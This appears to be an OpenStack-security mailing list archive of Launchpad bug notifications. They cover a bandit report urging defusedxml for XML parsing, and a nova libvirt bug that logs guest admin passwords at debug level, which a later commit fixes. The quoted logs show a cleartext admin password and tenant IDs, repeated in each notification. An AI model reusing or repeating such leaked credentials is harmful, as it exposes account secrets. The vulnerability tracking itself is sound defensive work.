      2017-08-29 19:11:16,168 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/531b1ce8-def1-455d-95b3-4140665d956f/inventories" status: 200 len: 401 microversion: 1.0
      2017-08-29 19:11:16,176 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/531b1ce8-def1-455d-95b3-4140665d956f/allocations" status: 200 len: 54 microversion: 1.0
      2017-08-29 19:11:16,184 INFO [nova.compute.resource_tracker] Final resource view: name=host2 phys_ram=8192MB used_ram=512MB phys_disk=1028GB used_disk=0GB total_vcpus=10 used_vcpus=0 pci_stats=[]
      2017-08-29 19:11:16,192 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/531b1ce8-def1-455d-95b3-4140665d956f/aggregates" status: 200 len: 18 microversion: 1.1
      2017-08-29 19:11:16,197 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/531b1ce8-def1-455d-95b3-4140665d956f/inventories" status: 200 len: 401 microversion: 1.0
      2017-08-29 19:11:16,198 INFO [nova.tests.functional.test_servers] Finished with periodics
      2017-08-29 19:11:16,255 INFO [nova.api.openstack.requestlog] 127.0.0.1 "GET /v2.1/6f70656e737461636b20342065766572/servers/5058200c-478e-4449-88c1-906fdd572662" status: 200 len: 1875 microversion: 2.53 time: 0.056198
      2017-08-29 19:11:16,262 INFO [nova.api.openstack.requestlog] 127.0.0.1 "GET /v2.1/6f70656e737461636b20342065766572/os-migrations" status: 200 len: 373 microversion: 2.53 time: 0.004618
      2017-08-29 19:11:16,280 INFO [nova.api.openstack.requestlog] 127.0.0.1 "PUT /v2.1/6f70656e737461636b20342065766572/os-services/c269bc74-4720-4de4-a6e5-889080b892a0" status: 200 len: 245 microversion: 2.53 time: 0.016442
      2017-08-29 19:11:16,281 INFO [nova.service] Starting compute node (version 16.0.0)
      2017-08-29 19:11:16,296 INFO [nova.compute.manager] Deleting instance as it has been evacuated from this host

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1713783/+subscriptions



From 1732155 at bugs.launchpad.net  Tue Feb 27 13:25:35 2018
From: 1732155 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 27 Feb 2018 13:25:35 -0000
Subject: [Openstack-security] [Bug 1732155] Re: bandit report: use
	defusedxml to avoid XML attack
References: <151065694305.7350.16228969126396748741.malonedeb@soybean.canonical.com>
Message-ID: <151973793756.11834.3259872157466431424.launchpad@gac.canonical.com>

** Changed in: cinder
     Assignee: Jane Lee (lijing) => Eric Harney (eharney)

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1732155

Title:
  bandit report: use defusedxml to avoid XML attack

Status in Cinder:
  In Progress
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  According to
  https://docs.openstack.org/bandit/latest/api/bandit.blacklists.html

  Using various XLM methods to parse untrusted XML data is known to be
  vulnerable to XML attacks. Methods should be replaced with their
  defusedxml equivalents.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/1732155/+subscriptions



From 1737207 at bugs.launchpad.net  Tue Feb 27 14:03:35 2018
From: 1737207 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 27 Feb 2018 14:03:35 -0000
Subject: [Openstack-security] [Bug 1737207] Fix proposed to nova
	(stable/queens)
References: <151275282506.3764.13107222303228891439.malonedeb@gac.canonical.com>
Message-ID: <151974021507.9128.7484052030111349082.malone@wampee.canonical.com>

Fix proposed to branch: stable/queens
Review: https://review.openstack.org/548289

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1737207

Title:
  Guest admin password and network information is logged at debug if
  libvirt.inject_partition != -2

Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Compute (nova) ocata series:
  Confirmed
Status in OpenStack Compute (nova) pike series:
  Confirmed

Bug description:
  When using the libvirt driver and the inject_partition config option
  is != -2 (disabled), the driver will log the network information and
  admin password about the guest during disk injection:

  http://logs.openstack.org/50/524750/1/check/legacy-tempest-dsvm-
  neutron-full-
  centos-7/a7f051e/logs/screen-n-cpu.txt.gz#_Dec_04_13_42_41_311316

  Dec 04 13:42:41.311316 centos-7-rax-dfw-0001196569 nova-compute[7962]: DEBUG nova.virt.libvirt.driver [None req-80dab566-372b-43d7-88f9-d807cc9cb673 service nova] [instance: 941f8290-5e14-4b53-85c9-c5045de9a067] Checking root disk injection InjectionInfo(network_info=[{"profile": {}, "ovs_interfaceid": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "preserve_on_delete": false, "network": {"bridge": "br-int", "subnets": [{"ips": [{"meta": {}, "version": 4, "type": "fixed", "floating_ips": [], "address": "10.1.0.6"}], "version": 4, "meta": {"dhcp_server": "10.1.0.2"}, "dns": [], "routes": [], "cidr": "10.1.0.0/28", "gateway": {"meta": {}, "version": 4, "type": "gateway", "address": "10.1.0.1"}}], "meta": {"injected": false, "tenant_id": "77504d716f9d4f38a021cbfa4f0e28ee", "mtu": 1450}, "id": "766bb2bf-e1c0-43b8-8800-5737351e9a03", "label": "tempest-ServersTestJSON-518988576-network"}, "devname": "tap56e5a50e-d3", "vnic_type": "normal", "qbh_params": null, "meta": {}, "details": {"port_filter": true, "datapath_type": "system", "ovs_hybrid_plug": true}, "address": "fa:16:3e:d3:8e:f8", "active": false, "type": "ovs", "id": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "qbg_params": null}], files=[], admin_pass=u'V2^cP#tYp*=UD&7') {{(pid=7962) _inject_data /opt/stack/new/nova/nova/virt/libvirt/driver.py:3115}}
  Dec 04 13:42:41.314687 centos-7-rax-dfw-0001196569 nova-compute[7962]: DEBUG nova.virt.libvirt.driver [None req-80dab566-372b-43d7-88f9-d807cc9cb673 service nova] [instance: 941f8290-5e14-4b53-85c9-c5045de9a067] Injecting InjectionInfo(network_info=[{"profile": {}, "ovs_interfaceid": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "preserve_on_delete": false, "network": {"bridge": "br-int", "subnets": [{"ips": [{"meta": {}, "version": 4, "type": "fixed", "floating_ips": [], "address": "10.1.0.6"}], "version": 4, "meta": {"dhcp_server": "10.1.0.2"}, "dns": [], "routes": [], "cidr": "10.1.0.0/28", "gateway": {"meta": {}, "version": 4, "type": "gateway", "address": "10.1.0.1"}}], "meta": {"injected": false, "tenant_id": "77504d716f9d4f38a021cbfa4f0e28ee", "mtu": 1450}, "id": "766bb2bf-e1c0-43b8-8800-5737351e9a03", "label": "tempest-ServersTestJSON-518988576-network"}, "devname": "tap56e5a50e-d3", "vnic_type": "normal", "qbh_params": null, "meta": {}, "details": {"port_filter": true, "datapath_type": "system", "ovs_hybrid_plug": true}, "address": "fa:16:3e:d3:8e:f8", "active": false, "type": "ovs", "id": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "qbg_params": null}], files=[], admin_pass=u'V2^cP#tYp*=UD&7') {{(pid=7962) _inject_data /opt/stack/new/nova/nova/virt/libvirt/driver.py:3146}}

  This was introduced in Ocata (15.0.0):
  https://review.openstack.org/#/c/337790/

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1737207/+subscriptions



From 1737207 at bugs.launchpad.net  Tue Feb 27 15:06:37 2018
From: 1737207 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 27 Feb 2018 15:06:37 -0000
Subject: [Openstack-security] [Bug 1737207] Re: Guest admin password and
 network information is logged at debug if libvirt.inject_partition != -2
References: <151275282506.3764.13107222303228891439.malonedeb@gac.canonical.com>
Message-ID: <151974399723.11992.15331441989747627509.malone@gac.canonical.com>

Fix proposed to branch: stable/pike
Review: https://review.openstack.org/548312

** Changed in: nova/pike
       Status: Confirmed => In Progress

** Changed in: nova/pike
     Assignee: (unassigned) => Matt Riedemann (mriedem)

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1737207

Title:
  Guest admin password and network information is logged at debug if
  libvirt.inject_partition != -2

Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Compute (nova) ocata series:
  In Progress
Status in OpenStack Compute (nova) pike series:
  In Progress
Status in OpenStack Compute (nova) queens series:
  In Progress

Bug description:
  When using the libvirt driver and the inject_partition config option
  is != -2 (disabled), the driver will log the network information and
  admin password about the guest during disk injection:

  http://logs.openstack.org/50/524750/1/check/legacy-tempest-dsvm-
  neutron-full-
  centos-7/a7f051e/logs/screen-n-cpu.txt.gz#_Dec_04_13_42_41_311316

  Dec 04 13:42:41.311316 centos-7-rax-dfw-0001196569 nova-compute[7962]: DEBUG nova.virt.libvirt.driver [None req-80dab566-372b-43d7-88f9-d807cc9cb673 service nova] [instance: 941f8290-5e14-4b53-85c9-c5045de9a067] Checking root disk injection InjectionInfo(network_info=[{"profile": {}, "ovs_interfaceid": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "preserve_on_delete": false, "network": {"bridge": "br-int", "subnets": [{"ips": [{"meta": {}, "version": 4, "type": "fixed", "floating_ips": [], "address": "10.1.0.6"}], "version": 4, "meta": {"dhcp_server": "10.1.0.2"}, "dns": [], "routes": [], "cidr": "10.1.0.0/28", "gateway": {"meta": {}, "version": 4, "type": "gateway", "address": "10.1.0.1"}}], "meta": {"injected": false, "tenant_id": "77504d716f9d4f38a021cbfa4f0e28ee", "mtu": 1450}, "id": "766bb2bf-e1c0-43b8-8800-5737351e9a03", "label": "tempest-ServersTestJSON-518988576-network"}, "devname": "tap56e5a50e-d3", "vnic_type": "normal", "qbh_params": null, "meta": {}, "details": {"port_filter": true, "datapath_type": "system", "ovs_hybrid_plug": true}, "address": "fa:16:3e:d3:8e:f8", "active": false, "type": "ovs", "id": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "qbg_params": null}], files=[], admin_pass=u'V2^cP#tYp*=UD&7') {{(pid=7962) _inject_data /opt/stack/new/nova/nova/virt/libvirt/driver.py:3115}}
  Dec 04 13:42:41.314687 centos-7-rax-dfw-0001196569 nova-compute[7962]: DEBUG nova.virt.libvirt.driver [None req-80dab566-372b-43d7-88f9-d807cc9cb673 service nova] [instance: 941f8290-5e14-4b53-85c9-c5045de9a067] Injecting InjectionInfo(network_info=[{"profile": {}, "ovs_interfaceid": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "preserve_on_delete": false, "network": {"bridge": "br-int", "subnets": [{"ips": [{"meta": {}, "version": 4, "type": "fixed", "floating_ips": [], "address": "10.1.0.6"}], "version": 4, "meta": {"dhcp_server": "10.1.0.2"}, "dns": [], "routes": [], "cidr": "10.1.0.0/28", "gateway": {"meta": {}, "version": 4, "type": "gateway", "address": "10.1.0.1"}}], "meta": {"injected": false, "tenant_id": "77504d716f9d4f38a021cbfa4f0e28ee", "mtu": 1450}, "id": "766bb2bf-e1c0-43b8-8800-5737351e9a03", "label": "tempest-ServersTestJSON-518988576-network"}, "devname": "tap56e5a50e-d3", "vnic_type": "normal", "qbh_params": null, "meta": {}, "details": {"port_filter": true, "datapath_type": "system", "ovs_hybrid_plug": true}, "address": "fa:16:3e:d3:8e:f8", "active": false, "type": "ovs", "id": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "qbg_params": null}], files=[], admin_pass=u'V2^cP#tYp*=UD&7') {{(pid=7962) _inject_data /opt/stack/new/nova/nova/virt/libvirt/driver.py:3146}}

  This was introduced in Ocata (15.0.0):
  https://review.openstack.org/#/c/337790/

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1737207/+subscriptions



From 1737207 at bugs.launchpad.net  Tue Feb 27 15:16:58 2018
From: 1737207 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 27 Feb 2018 15:16:58 -0000
Subject: [Openstack-security] [Bug 1737207] Re: Guest admin password and
 network information is logged at debug if libvirt.inject_partition != -2
References: <151275282506.3764.13107222303228891439.malonedeb@gac.canonical.com>
Message-ID: <151974461875.8556.6697429133948731922.malone@wampee.canonical.com>

Fix proposed to branch: stable/ocata
Review: https://review.openstack.org/548314

** Changed in: nova/ocata
       Status: Confirmed => In Progress

** Changed in: nova/ocata
     Assignee: (unassigned) => Matt Riedemann (mriedem)

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1737207

Title:
  Guest admin password and network information is logged at debug if
  libvirt.inject_partition != -2

Status in OpenStack Compute (nova):
  In Progress
Status in OpenStack Compute (nova) ocata series:
  In Progress
Status in OpenStack Compute (nova) pike series:
  In Progress
Status in OpenStack Compute (nova) queens series:
  In Progress

Bug description:
  When using the libvirt driver and the inject_partition config option
  is != -2 (disabled), the driver will log the network information and
  admin password about the guest during disk injection:

  http://logs.openstack.org/50/524750/1/check/legacy-tempest-dsvm-
  neutron-full-
  centos-7/a7f051e/logs/screen-n-cpu.txt.gz#_Dec_04_13_42_41_311316

  Dec 04 13:42:41.311316 centos-7-rax-dfw-0001196569 nova-compute[7962]: DEBUG nova.virt.libvirt.driver [None req-80dab566-372b-43d7-88f9-d807cc9cb673 service nova] [instance: 941f8290-5e14-4b53-85c9-c5045de9a067] Checking root disk injection InjectionInfo(network_info=[{"profile": {}, "ovs_interfaceid": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "preserve_on_delete": false, "network": {"bridge": "br-int", "subnets": [{"ips": [{"meta": {}, "version": 4, "type": "fixed", "floating_ips": [], "address": "10.1.0.6"}], "version": 4, "meta": {"dhcp_server": "10.1.0.2"}, "dns": [], "routes": [], "cidr": "10.1.0.0/28", "gateway": {"meta": {}, "version": 4, "type": "gateway", "address": "10.1.0.1"}}], "meta": {"injected": false, "tenant_id": "77504d716f9d4f38a021cbfa4f0e28ee", "mtu": 1450}, "id": "766bb2bf-e1c0-43b8-8800-5737351e9a03", "label": "tempest-ServersTestJSON-518988576-network"}, "devname": "tap56e5a50e-d3", "vnic_type": "normal", "qbh_params": null, "meta": {}, "details": {"port_filter": true, "datapath_type": "system", "ovs_hybrid_plug": true}, "address": "fa:16:3e:d3:8e:f8", "active": false, "type": "ovs", "id": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "qbg_params": null}], files=[], admin_pass=u'V2^cP#tYp*=UD&7') {{(pid=7962) _inject_data /opt/stack/new/nova/nova/virt/libvirt/driver.py:3115}}
  Dec 04 13:42:41.314687 centos-7-rax-dfw-0001196569 nova-compute[7962]: DEBUG nova.virt.libvirt.driver [None req-80dab566-372b-43d7-88f9-d807cc9cb673 service nova] [instance: 941f8290-5e14-4b53-85c9-c5045de9a067] Injecting InjectionInfo(network_info=[{"profile": {}, "ovs_interfaceid": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "preserve_on_delete": false, "network": {"bridge": "br-int", "subnets": [{"ips": [{"meta": {}, "version": 4, "type": "fixed", "floating_ips": [], "address": "10.1.0.6"}], "version": 4, "meta": {"dhcp_server": "10.1.0.2"}, "dns": [], "routes": [], "cidr": "10.1.0.0/28", "gateway": {"meta": {}, "version": 4, "type": "gateway", "address": "10.1.0.1"}}], "meta": {"injected": false, "tenant_id": "77504d716f9d4f38a021cbfa4f0e28ee", "mtu": 1450}, "id": "766bb2bf-e1c0-43b8-8800-5737351e9a03", "label": "tempest-ServersTestJSON-518988576-network"}, "devname": "tap56e5a50e-d3", "vnic_type": "normal", "qbh_params": null, "meta": {}, "details": {"port_filter": true, "datapath_type": "system", "ovs_hybrid_plug": true}, "address": "fa:16:3e:d3:8e:f8", "active": false, "type": "ovs", "id": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "qbg_params": null}], files=[], admin_pass=u'V2^cP#tYp*=UD&7') {{(pid=7962) _inject_data /opt/stack/new/nova/nova/virt/libvirt/driver.py:3146}}

  This was introduced in Ocata (15.0.0):
  https://review.openstack.org/#/c/337790/

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1737207/+subscriptions



From 1737207 at bugs.launchpad.net  Wed Feb 28 17:26:33 2018
From: 1737207 at bugs.launchpad.net (OpenStack Infra)
Date: Wed, 28 Feb 2018 17:26:33 -0000
Subject: [Openstack-security] [Bug 1737207] Re: Guest admin password and
 network information is logged at debug if libvirt.inject_partition != -2
References: <151275282506.3764.13107222303228891439.malonedeb@gac.canonical.com>
Message-ID: <151983879393.16920.5378555469214696155.malone@wampee.canonical.com>

Reviewed:  https://review.openstack.org/526772
Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=6839630e86d958dcda8585664586754d419363a7
Submitter: Zuul
Branch:    master

commit 6839630e86d958dcda8585664586754d419363a7
Author: Matt Riedemann <mriedem.os at gmail.com>
Date:   Fri Dec 8 16:02:44 2017 -0500

    libvirt: mask InjectionInfo.admin_pass
    
    Logging network information and the admin password
    for guest instances is not ideal, so let's not do it.
    
    Change-Id: I328ba88b128c6c125e65d850ed7a6e57049dc7e2
    Closes-Bug: #1737207


** Changed in: nova
       Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1737207

Title:
  Guest admin password and network information is logged at debug if
  libvirt.inject_partition != -2

Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Compute (nova) ocata series:
  In Progress
Status in OpenStack Compute (nova) pike series:
  In Progress
Status in OpenStack Compute (nova) queens series:
  In Progress

Bug description:
  When using the libvirt driver and the inject_partition config option
  is != -2 (disabled), the driver will log the network information and
  admin password about the guest during disk injection:

  http://logs.openstack.org/50/524750/1/check/legacy-tempest-dsvm-
  neutron-full-
  centos-7/a7f051e/logs/screen-n-cpu.txt.gz#_Dec_04_13_42_41_311316

  Dec 04 13:42:41.311316 centos-7-rax-dfw-0001196569 nova-compute[7962]: DEBUG nova.virt.libvirt.driver [None req-80dab566-372b-43d7-88f9-d807cc9cb673 service nova] [instance: 941f8290-5e14-4b53-85c9-c5045de9a067] Checking root disk injection InjectionInfo(network_info=[{"profile": {}, "ovs_interfaceid": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "preserve_on_delete": false, "network": {"bridge": "br-int", "subnets": [{"ips": [{"meta": {}, "version": 4, "type": "fixed", "floating_ips": [], "address": "10.1.0.6"}], "version": 4, "meta": {"dhcp_server": "10.1.0.2"}, "dns": [], "routes": [], "cidr": "10.1.0.0/28", "gateway": {"meta": {}, "version": 4, "type": "gateway", "address": "10.1.0.1"}}], "meta": {"injected": false, "tenant_id": "77504d716f9d4f38a021cbfa4f0e28ee", "mtu": 1450}, "id": "766bb2bf-e1c0-43b8-8800-5737351e9a03", "label": "tempest-ServersTestJSON-518988576-network"}, "devname": "tap56e5a50e-d3", "vnic_type": "normal", "qbh_params": null, "meta": {}, "details": {"port_filter": true, "datapath_type": "system", "ovs_hybrid_plug": true}, "address": "fa:16:3e:d3:8e:f8", "active": false, "type": "ovs", "id": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "qbg_params": null}], files=[], admin_pass=u'V2^cP#tYp*=UD&7') {{(pid=7962) _inject_data /opt/stack/new/nova/nova/virt/libvirt/driver.py:3115}}
  Dec 04 13:42:41.314687 centos-7-rax-dfw-0001196569 nova-compute[7962]: DEBUG nova.virt.libvirt.driver [None req-80dab566-372b-43d7-88f9-d807cc9cb673 service nova] [instance: 941f8290-5e14-4b53-85c9-c5045de9a067] Injecting InjectionInfo(network_info=[{"profile": {}, "ovs_interfaceid": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "preserve_on_delete": false, "network": {"bridge": "br-int", "subnets": [{"ips": [{"meta": {}, "version": 4, "type": "fixed", "floating_ips": [], "address": "10.1.0.6"}], "version": 4, "meta": {"dhcp_server": "10.1.0.2"}, "dns": [], "routes": [], "cidr": "10.1.0.0/28", "gateway": {"meta": {}, "version": 4, "type": "gateway", "address": "10.1.0.1"}}], "meta": {"injected": false, "tenant_id": "77504d716f9d4f38a021cbfa4f0e28ee", "mtu": 1450}, "id": "766bb2bf-e1c0-43b8-8800-5737351e9a03", "label": "tempest-ServersTestJSON-518988576-network"}, "devname": "tap56e5a50e-d3", "vnic_type": "normal", "qbh_params": null, "meta": {}, "details": {"port_filter": true, "datapath_type": "system", "ovs_hybrid_plug": true}, "address": "fa:16:3e:d3:8e:f8", "active": false, "type": "ovs", "id": "56e5a50e-d30e-4814-aee3-fcc9525d12ca", "qbg_params": null}], files=[], admin_pass=u'V2^cP#tYp*=UD&7') {{(pid=7962) _inject_data /opt/stack/new/nova/nova/virt/libvirt/driver.py:3146}}

  This was introduced in Ocata (15.0.0):
  https://review.openstack.org/#/c/337790/

To manage notifications about this bug go to:
https://bugs.launchpad.net/nova/+bug/1737207/+subscriptions